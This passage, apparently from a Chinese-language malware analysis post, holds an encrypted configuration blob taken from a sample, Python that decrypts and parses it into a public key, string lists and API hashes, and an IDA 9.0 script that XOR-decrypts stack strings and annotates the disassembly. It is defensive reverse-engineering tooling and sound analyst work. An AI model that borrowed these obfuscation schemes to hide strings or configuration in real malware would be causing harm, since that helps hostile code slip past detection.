9fd7a130916563f28ff2b736fde40843301b5fba887a25be0f18c2f52d1df0d8bf94c00f30ccc97247775814679a192d558e28058e46498e49342e1b36f7ecd18fec2f7c01c972ae2045d19d93333bdd93834f7126a62e0806ff874a19c2a4ac93fa37a15f55b3a9e37aa19edb2ef68702c775ac1ca7d5dfb58bb5cb4af7183ac642d6d1c6ecb73569625d23dfa38a149df1d00e93c71423ffa21042d9e04cb63b416664e20887656855a7e6ed473767b3f3ef07bef400c9a317a8cf82d86b04e107dc31599dede9387e77415be7b6cc56374fc476ea1ed4937b5b96f51632175aae5971abf53c78c56dc14eab7c2a461078b1327076bdd509b70b2166a9de7eb65406990a299f1cba977178468458fc8786715d6487bc4998bdc9de7cdbcaf54e2cad9f51c8676bb1ed484098458bcc9621103e45ebe4c0c23215b41743d1f30ecf97a3d0a1367117b126cbf0eab732660a6dda67a529e90f0178014aa46c9f48055f0938b4f67d55730d4f48dceb188a15b106f2975529819acd4296a1b71d663e19bd26ecab2f3b92ce438fe5eab7232494da8c7a6302f0fe5e48423b2bd658fb1b6c6448091db4830c4b6f717037c7a471475833b5e869405a89746bc3133524193da92a1a83752367724a6b886a61c90bbcdc4cb5e5dec89b772b3f68d6c0a547e025101ebd5422ef554d8f3cccd69e8f4c7d2bfa2de6f1676f8746c9ae8321b966cbc43fd0139b6bd573686593cba586770d6238791c360829b7f0f3febd55b41e3d7421db16ed3215aa8bda52384b91fb095e7513135011941de95774495983f99bb8870a5377bc1c4f7e6861e1e4175560fc48d2377cf1c0dc230cda9db02aefd9e20397a99e3c9b4f1b54b3055a5d38aa318487e6bbad85f1f5e00a5c6f12e7499210e0e023f76ca2445d97853673385a65495f7356bb57c3d43d52ae9482e3fa08b24d8e1db4679798e3ad90a5bb6a3c25b127d81da9628f1e2e09bdeb43722152b658a5b05efd3ce87d0619751f467e9899c8d306096145db17f24bcc94bc1138eddaf2869d0fd2f65ad8e53e051b189ad06ed011bcca6738e5b086e15e609bd76732b457879593b1e545fdc24d3d20fff48a1e8acab1950ee403359171b598b3c0944088703d61aec05ff3d621fc67577d744da5b4b91aac9eb727fd0da22d7a80847632bcf997e6cbf935a17617528952401664b6bfb1d10ced0fc888567402157418abf99ab894433ee5529683eebbe52be81b3411ed2b37299c373bf987f74c90b54881705d158cdb2659edd0b488418ba587da242e5176bb59e1975d45218ed6f080a562476d52b2739b4a10de38d9e610028116c63ac11e91be6a5d76582e4b99d6fa56291982789496422f93d0a3037003045ee307f61addc6722ae0d940c63c450d80fee9a89aa6264a60c8aba0f39f1fb6c5a2c0c12188db4edece4e29fe2359dc67c29705cb601c069577b22f373111da0e95604e3588c4a24b4da3ab13586a87f2d33e0ddba9d1b078ba7f061370e83f375d761c149d92c11d8ed73d249684638d4791fc4fa0995809336974bfc18e0ccde8de744e92b7e09963b46d51872b30609237da4c106f05944e748d8a4e0bb730cc86dfccee5e582213ac7f743571943f9e32f7b0fdae034e4cb4579f13e79e9a55c7c735e5479efc3bad8dc9b98985904180e0015674dfc585cfcd8ed6a147b08dc294f38d193343caf4b2a60f970603dc8c2b3ae7593dcea75c911dd9f04f0a7f3c5bf10c02876db716c06aca9c9ae9646895401346427bd5e2e38ae871f2e790483ee02f3493d57e5f9f64a478536e597486d792e27762fd30e1648a024bd6e131ecd9219d98f93653b3e49eb67fe4393e11ceb59f12675d75f5669c65b52397384e3cfc8e07e4ac0d2fd4d46c79b8c52a97581e95995d3a4ed6c3b24a82975555f149c97e8b5c921e40d5304bbd19d52b6a46821e8be4b74d2aae0cdb8d023346d6f6ca5a22f1e0ef09dad7c4ca0d82a5f4631d993658c4c46b7614d43e747432db7f69f0b294538dfa0ac92644a22ada7861bc0cb5a147d26f3aaad4db5eae71f95e6d8a298a6f7ccc59a2b1535d1464edc64ddad6feddad8d013ce51110d4d4a6398ed62af5ea487c366bdbcda201d5ed5cdf046f9f26e4ec876fed9e281757af73a359c2856068eb43a3425e3b40b73f6f3c12d0141e5ffba732ef7bedc951192e905a72da09e84102053adaff275a51e6ef39b5f9892cb7b01911b9b15d6f5d09fd0040b25a92c571f83a395771f739ec87ae17b36e05436fb4e6dd92d065fdb074e95d6c008a3590ce19e2916c15cb94426cc139e6971063b9d82bc0e93f9e253cd2782ccbc0b81e48d25342f6bc4cad877a9c7f886532f4a0f34de7cc976332d6d89f9fc9a6875bbfddb8002c69dda278f7dc8fc748d2c7a7cf94f35f022796ee78af6314a6f7d86208d61f0a03fdaf61cdd90ca5a8d3580b274a967ec2869b28386a843a4293ffc21f5f798ce5bc194cc2031232cfcdb5ad92c7fc764d224416dec241f51ceac4e05949a1338136163eefdbdd5ef0758bde97c881f95f1f7e00272ac05de76d2290613c15cb4c851ba57518a2e49a5fb7a29655dabf380ba3636cbe6c11a9f66755cdf1256ee0d973d05e1a9c53ed6e6c606bef584104ff6793bf98a926c7b2766f50960642e70a8ca09c15b6f727e2a327ac2d5b3494aca8449f2399eea11bad9320621f26378cea654fbee236194253e11721ea976c79c825f7c263956a610d0e13c96f9c77872c8c29a67095f1d6046183e2118101ccb9b0359cbf05b54316c6766d0b21da7ca3a4afed3165fe02816a0dd3355283cd39fbf78316e140ec3470f3d4f75b63fdf3a6050e6cf9376c205297ed310926d836d68f5a9418d7beca73c5427839f68be63664e2a41b9fe021891715351a44a3aa64798a08c90cd81b674afd67dbf540cb17dd1005aa47dcf7459ccd1fa4d7c6bccb927cb6899f6e6bd3a57bea9ae362ff1f9999ef56b9ab205adb713cd119290fc679b7c4fb46599e17c6e7761dcefed6077b34cbcbc3bd3bafcd1d0dd71bcbb65bf65f555a7f4c8cbcd42b8df70ea268f5ade5daa21c186c0e87e1fa2723703f1bce5863f582477dfa8e143df266c6aa7035b3ad644eb0c6191979b6eae989c886dbdf0b8585c57d8d6943dcd641c9a8edd99bdf4374837119d5391b831b5e6c3e6a3a44339e656ca994e54c2322aa187264f59817617778db8664c4356e20f1e3a521f0a983d5e4c13b6acbe043132b40d4cf6ad9753fd6bf3a3a80db30b01de3011958c4903d18f0b21936c7439b4f82997c98dc87b81280514993cf230a473cbf4dc65d8db58ff75ca714279891076d010b3335d60ba232eb47676d428d2da4b3ecd4918f0c00669d32720b776969267e2f0ba325e1c111d4e8254e3905df28515c85997c817ac6ee5108125dc5d9e855b06a2c9faca179c19c31c3bd6d8d30a3fdeeb774105fa3491328e2be8f09c5b83a8f3934ee813a6396734852004458676154d90acad7e40d56033b6d9933533424b984e616a63e5bcde619d3dca99912b98275c911de045ff2bc11a7385e1181e82be170d319742e691f05b1ec52007712e1eb09a309b2c086486191af2b51e657c12bfa2bb330d9fdcfbee241ad5d33e67c7293e0e3f26f5da6af2685e523102f620ac0603c5dad8d356e43bdaeadc7ddf11cc27196e51879cb4c45ac9a8002c3d2e86048874bf809e5f0f8fd84f4f1049e55f3c5fc8a88f04868f9f0a3abb91fdfa8e1ae5af1c8c700d50a6b56cd54dad46d6e923f4115ec27280e88a071e9f6fe4f787a3806c26f7a62acc06bacced324f1a5e19e1fe42e986a41ce1bfb3067f8a1bef43498762ba1efb8f94dbd4128d86571d405d834531b33356177553a28ce7293d9d0b62756e6d17d2a818e9cd0684a33ee321081a01d175bf4a628397ae3385c6508ebb6fd4f55c4abde59f69e97f7a95e98b700e1abef6aeeade2a996bb412e3f63a165cc9a925ec3033ee44a22e3a3272da1ff220473a889d6915a6e28086e63897e91cf4556f50cfb26fc7cc7f7b5ba9f55655eae2ae8864737d85b900880eb6b68755ecf473150844cc2d2e2edf2146c343f76fdb8fc597fa14b65da78e0a13e29c73a3a4cf5d87c695b9a05c4def2ccb325924550050f4b580fd6b92653d53b7abcf0c5e5e1bd205a28b4f0b9bde7f0d325e2c4de5ad01ee404825c18826ba94e4034645d52a3177845cea54175ed3c88fb39094e62cc1760d0490b2542ba90b4c1aad284bf47d992d95a7e55918bb358ad095915e70e9fd0b5366882df4efdb959217e1c12f862849c4cc2c7297f407c81b54d4c75273f7a5882235edff148df1de59b9e48ba79ecd80329e6d6edef3dea058ca4c2a28fec0082f6800333d1aeae40b691e71c5c20e5123819830f15c8494b098ea7afe6eaf78a173b79f0b538d09f0913f7056be582bbabbd7a7cfa8840f9166228c883ee8d65a72867e82187281d5753e810fba20970d7eb0401586599034b66729eda236c76f1b05cb1033b7f7043757c00b6b24f78032019d0b936f13f762d5710835a4c4fb6e696b84e4b2744dfaec59367b8eec0e75da7aee53addecb19aedfdd4d12834c6ca3c490cb7b6f584f62bd17a41ca1acbafcad212c64c36f5692a4b855dea9bdaa9cdd1550adaf2de38200f6bcf741fd1ea50f76175d3b69aa6269a73c6c28a0bf317601f9b295114a153f2fe0804ec3de3748953c9903c0fac308dc88144b916a1d49b80f01a6fbeef845108db83bc2f89e2fafe0695a177c738d7a7523e3884e5285ab637a8ec816d053669dcd0994cbcaf2e4de556d84d0742e6a254e32faf354317d2525aa34fc07dd4001fb21e55ff2a8763b21cde52895e7891419fad8f99cc81820c1144affa41199e72c24ae32b45e9f00ed9e03cb659100ef8e309c1dbab012acc7fae34eeb29164b547d552d54a8529b3bc95e27a942defb47d23c93f3508f8fb3f7cafd8aa87a1b566037b86724701407cf8b9a8cd107f496f84d8a9ea00958793542aa9bc68ecefb9b1d911d3968935500420ae06d3634c633ea333aca35547fbe3a95c0293336b97c01d7e45438083243aba6faa7c4046944cad00eef1c25efca4454d5d3b379da20b29d08bd043d47eb09af8475c7b67064fed73bc761654b043e68d8aa7419960af91efd935afa15e6eba3d5856b23e4c16e05267e2aad03ed154d0c9595aa5b8ccc98ca94cbeea55d2a1f167e1be44a82237299b75cb68da88c41fbe823b382f75bcfb20a8ab2cd7685b93d46a833536b880a998184c86d38cf2c15ee460105494216e362e7c21f11de0d7cb0fd0d4c8ebf36c3f946f4163bd474b601ad4eb2dccca816a5d73e2386b702e61bfe849f7990a2f55c1f57684effed30609987cc3e85aa4ac936bf3f244c9185f8a3dc66cfa94c330ab85ee8fba257622abed6d34029af89d87e9bb4a662d0319468b5efccc26cfb58fbf3833eb25646974f18cc44ad69e1cb122680fa608b32888a73a3164e65de3bd8a390ba244e805cf0402ec2a29e22d71c5db2b9d9d1a18dc858b637bd99d464fafb845e09e94ae15744fcedd0705bdae41f0b84a366def96b95a323b905a7bd7113d6c420ed41b4605335127873d52587be39d0feee0554531428e18935ce484c2228e4321cc379a557e94776d725f72fb8834e1e66b3e608e0da9a895e6986a6cf892dbb3ef75dad5c0266b3b29dc4c5f7e36b4f7cebf118de14e9b92362fec3ad777cc659b0e0f59ec9a6247d227db3d173ec6372f9d10afb177a8a080e86882f66464f3dabb465ae6cd91c635e6c1e749acc665dc6caaf719f3ad2f0d73d046871f54a6b0c78c54bc73f9d33ac5a6fd5e6bcc74893f5281d870eee61afe582885196e3f135918d9c8974e45a43a561a9f457f61b619518348c09fe3902d53240050c2baa4d05cf1c2a1242f67de359a30ce2fae860f19d2308c0f7c78abffe73aba265ab66df4aefd326f7ce2a8b58aa02abb2cfb37fde21aca2418f5d4edcfd5bd17f6657c51acb5c8a069345247b38430ca451488a32bbbccec4dcc34039ad3c120faa527b7e16e3ce83407fc0cd9d9d4dda9f931392d5fb7dfc12484b2437ebeb3a3f8121183384e388d652a8220fc8560353aac2c5802dad6668bc8992e9953118fde1762507bc7305bbcc4a90d070b4b3b34bc47cd2e318d478007f27e0baeb93dd59be3217deb48603c7b646c00a62fd906d437cf224a916304a92634b7a31b213621d523f8828b7a243fb8351ce5052af2c708a6c646665b334a49e4b8940146238cb9ba43879081744d4abde113f6b0c85eb17d2348ec8c0eeafb518d9ce3aa2a6926efb0e0322becf43bb50fc80e826e16da40fc159316bb4f944bf8e0b6ab9d4a96d4338880064c03afdff2e66884c16c08a4e46d193e51d78f6c1aaa11c4fef4c41a1c1b494b28180ec4370a04e0ba35c6f6d53d102d7803f9c3b25575586d18601ca4da7c2137a57fca90ec042e66a8989060a79910359d39a267acede5e6b967bf35902cb0679d8a0c33f7718f10365a7462ba5b7ad77e98eb47554ee8987873b82c828f28e1f52955e4d4f4145b92e8e732913558398a783d9154875517dc2fc9ed17f7ba8785b9f49236f4fe6076210eab75936cd07fca1c6a14019d6542bdb25640d6224c09ce300fc24aa1d5aafdc5a98400f2077f67194bfd16d6b860a7cece51bc692a7e26e93281cc7bb396b5e308df3696358cbd5a5171d1a4beabf2a2f4f605251d0aba806e38b675de6b1e1cb81e9890b5a68e26da24dd577ee372fc1227718394bad9653e4f352bf9a8a34f10603b486f21baacf1d026967fa24c4ace3564089245091a0e5d31771451a094ba6e7f458bc24af5cc46f73275cc355abaacf3ab11ee179d86c9f63f63199053258b860f619c3158151c5a420c0dc392bd0313a1feaeb4395732077dffc56311c93e897c9b09b618c3ef0cadb78e65626bfb019edce9d4087ca2a7e429f27c48e65d03ba05aa14c3793721e2182dc829252ab8305d0b6bb8b120e7aadc0f195f2ff14e80490b0361f71dccbd23b7443f46b16700faae6abc20f1ca5c05381b4ad839fdead7d0ddabe629886ecea13c2ca2d010830ff3ef63a9bb8217b5a96e3fdddebd84b6cad40d5362856df5e20b65f3d08944b55b82105a1357921ffb50244904627f0d5c7a79bfdb567b230821db9591bf8fbd5933148afd81be77f669e5455ba3b9d7f7486e5d939b1203f76fca6b6b049f10d8efd686b48e3350ffdb4705fb617cdcbe6e9d0ee5696a26a6d751a0f9518df61fea1c227543ebb4483b89601a6d4d53f7c9e4ba63e2b262723a389569fb00640dbec7d0fe1bc29836090b6119b767a77056baf80de1666b14e0c1cfd9024544ad0b31556abde6b4fc51a2787ec7fc9fddbb5308d286e658684f405ddb18677a7a4fb7784daed639d101e481588d976314cb4cd2a71300c04af56ced01cd6b5a12a0be7e13f7e4c4eb14c1c544d090eab994e277bda9f513cae8c85777ed6fc6ef614aa33467dbeeefe92141eca024a9cdee8e03876fb5f7bfa191146c8b5d555a04573ae0075502b9fa31a4fd696f5dee5a00a1a3478618b5ed92a480cf4fed3fe3e0bf3e7b0b3d012254080c3152b10f8b06fd1bb881a2813ea967612285dc36bfef0efc271e1de814b39bb8ce54ff4e78020b13df173fa20e21a8509de89830f2c477f1ee3dc0203cde8c7a5af5228f8e002ce1c7e60b4e21b2e47cbb4a8c98dc80bd87596b1ac3739d16380fcaca80bc8d689dc1b5dc41e397c812925af9c322eeb5a5fb879cd48430439d29dd55af1357eaf816727d827b3922eff92011cf085ed8105e2559852e7e7c778c2b716a2335c14cd210d7ab7884b161e0e89ab9679b5c9a01764989ad61bb92f5bdb149ec76afb288e5109a4b6a9b189f8b217da91d444571f6ad801188e0ce94f1f897211707e36672d7c45682aaf96c472d23fb5481a4ac220a4e08c649e693d87eac8bb65548f062c50fb1ee910755cd7afbea1a7c53f52523b8454134993da19b5a66e9f3d300319055df68840d9bcd11dcf663e1ae3e4529eedbfe917e175fdb0fd1354f0344e872c3144fe56a13b47c71ffaa4726cae97ce275fa375d2099212dddb35b746fe0ad881ac0d321f0d2dcf26cc87231e98162e2b36bac9ec0e73fcd36536c5d21f04b8ec99efad12980b03ba0bba1eed02e76d52fb2ddf297eabd3c0192ad6696ef04a63bb5246df2c79fc4028e50e884a9a5fd164b573cff971622d83c1973614e97aff12d957cb89f981e43adabecf5daed2d9421978a4cca7ed39c9e2aa51f6c6f7bce935946583d286046efa999f28957525d6364259f18a03800')

seed = struct.unpack('<Q', encrypt_data[:8])[0]
length = struct.unpack('<I', encrypt_data[8:12])[0]
encrypt_config_data = encrypt_data[12:12+length]

decrypted_data = decompress(decrypt_config_data(encrypt_config_data, length, seed))
length = len(decrypted_data)
offset = 0
pub_key = decrypted_data[offset:0x80]
offset += 0x80
data1 = decrypted_data[offset:offset+0x20]
offset += 0x20
data2 = decrypted_data[offset:offset+0x18]
offset += 0x18
str_offset = struct.unpack('<I', decrypted_data[offset:offset+4])[0] + offset + 4
for data in decrypted_data[str_offset:].split(b'\x00'):
    try:
        decrypt_config = base64.b64decode(data)
        if is_ascii_string(decrypt_config):
            print("string list: ")
            for i in decrypt_config.split(b'\x00\x00'):
                s = i.replace(b'\x00', b'')
                print(f"\t{s}")
        else:
            print("hash list")
            for i in range(0, len(decrypt_config), 4):
                time.sleep(1)
                hash_val = struct.unpack('<I', decrypt_config[i:i + 4])[0]
                hash_str = resolve_hash(hash_val)
                print(f"\t{hex(hash_val)} : {hash_str}")
    except:
        pass

堆栈字符串解密算法

ida9.0版本及以上

import struct
import re

import ida_hexrays
import idc
import idaapi
import idautils
import uuid

def decrypt_data(data, xor_key):
    decrypted_data = []
    for i in range(0, len(data), 4):
        chunk = data[i:i+4]
        value = struct.unpack('<I', bytes(chunk))[0]
        decrypted_value = value ^ xor_key
        decrypted_value = ~decrypted_value & 0xFFFFFFFF
        decrypted_chunk = struct.pack('<I', decrypted_value)
        decrypted_data.extend(decrypted_chunk)

    return bytes(decrypted_data)

def get_valid_code_refs(func_names):
    refs = []
    for name in func_names:
        target_ea = idc.get_name_ea_simple(name)
        if target_ea == idc.BADADDR:
            continue
        refs.extend(list(idautils.CodeRefsTo(target_ea, 0)))
    return list(set(refs))

def set_hexrays_comment(address, text):
    try:
        if not isinstance(address, int):
            print(f"❌ 地址类型错误: {type(address)} 应为整数")
            return False

        if not ida_hexrays.init_hexrays_plugin():
            print("Hex-Rays插件未加载")
            return False

        func = idaapi.get_func(address)
        if not func:
            print(f"地址 0x{address:X} 不在函数内")
            return False

        cfunc = idaapi.decompile(func.start_ea)
        if not cfunc:
            print(f"函数 0x{func.start_ea:X} 反编译失败")
            return False

        tl = idaapi.treeloc_t()
        tl.ea = address
        tl.itp = idaapi.ITP_SEMI
        cfunc.set_user_cmt(tl, str(text))
        cfunc.save_user_cmts()

        # 直接刷新反汇编视图
        idaapi.refresh_idaview_anyway()

        # 定位伪代码窗口后刷新
        pseudocode_widget = idaapi.find_widget("Pseudocode")
        if pseudocode_widget:

            idaapi.replace_widget_content(pseudocode_widget, "")
            idaapi.activate_widget(pseudocode_widget, True)

        # 强制重绘界面
        idaapi.request_refresh(idaapi.IWID_ALL)
        print(f"✓ 伪代码注释已添加 @ 0x{address:X}")
        return True
    except Exception as e:
        print(f"❌ 伪代码注释错误 @ 0x{address:X}: {str(e)}")
        return False

def set_comment(address, text):
    if not isinstance(address, int):
        print(f"❌ 错误地址类型: {type(address)},应该是整数")
        return False
    try:
        safe_text = str(text) if text is not None else ""
        safe_text = safe_text.encode('ascii', 'replace').decode('ascii')

        success = idc.set_cmt(address, safe_text, 0)
        if not success:
            print(f"⚠️ 设置常规注释失败 @ 0x{address:X}")

        set_hexrays_comment(address, safe_text)
        return True
    except Exception as e:
        print(f"❌ 注释设置失败 @ 0x{address:X}: {str(e)}")
        return False

def main(xor_key):
    print("=" * 50)
    print("||          解密脚本开始执行          ||")
    print("=" * 50 + "\n")

    out = []
    for seg_start in idautils.Segments():
        seg = idaapi.getseg(seg_start)
        if not seg:
            continue
        seg_size = seg.end_ea - seg.start_ea
        if seg_size <= 0:
            continue
        try:
            seg_data = idc.get_bytes(seg.start_ea, seg_size)
        except:
            continue

        pattern = br'\xc7[\x00-\x07](?=[^\x00\x00]{4})(....)(?P<raw>(?:\xc7[\x40-\x47](?=[^\x00\x00]{4}).....)+)'
        for match in re.finditer(pattern, seg_data):
            offset = match.start()

            tmp_data = bytearray()
            tmp_data.extend(match.group(1))
            if match.group(1):
                g2 = match.group(2)
                split_key = g2[:2]
                for s in g2.split(split_key):
                    if len(s) >= 4:
                        tmp_data += s[-4:]

            decrypted = None
            try:
                decrypted_data = decrypt_data(tmp_data, xor_key)
                if len(decrypted_data) >= 2 and decrypted_data[-2:] == b'\x00\x00':
                    try:
                        decrypted = decrypted_data.decode('utf-16le')
                    except UnicodeDecodeError:
                        decrypted = str(decrypted_data)
                elif len(decrypted_data) == 16:
                        decrypted = str(uuid.UUID(bytes_le=decrypted_data))
                else:
                    try:
                        decrypted = decrypted_data.decode('utf-8')
                    except:
                        decrypted = str(decrypted_data)
                decrypted = decrypted.replace('\x00', '') if isinstance(decrypted, str) else decrypted.replace(b'\x00',b'')
            except Exception as e:
                continue
            if not decrypted:
                continue

            last_c7_ea = seg.start_ea + match.start()

            if match.group('raw'):
                c7_40_positions = [m.start() for m in re.finditer(b'\xc7[\x40-\x47]', match.group('raw'))]
                if c7_40_positions:
                    last_c7_offset = c7_40_positions[-1]
                    last_c7_ea = seg.start_ea + match.start() + 6 + last_c7_offset

            c7_instr_len = idc.get_item_size(last_c7_ea)
            next_instr_ea = last_c7_ea + c7_instr_len

            out.append({
                'offset': seg.start_ea + offset,
                'value': decrypted,
                'last_c7_ea': last_c7_ea,
                'next_instr_ea': next_instr_ea
            })

    for item in out:
        print(f"偏移地址: 0x{item['offset']:X}")
        print(f"解密值: {item['value']}")
        print(f"最后一个C7指令地址: 0x{item['last_c7_ea']:X}")
        print(f"下一条指令地址: 0x{item['next_instr_ea']:X}")
        print("-" * 40)
        comment_address = item['next_instr_ea']
        comment_text = f"Decrypted: {item['value']}"
        set_comment(comment_address, comment_text)

    print("=" * 50)
    print("||          解密脚本执行完成          ||")
    print("=" * 50 + "\n")

if __name__ == "__main__":
    xor_key = 0x4506DFCA
    main(xor_key)
Comment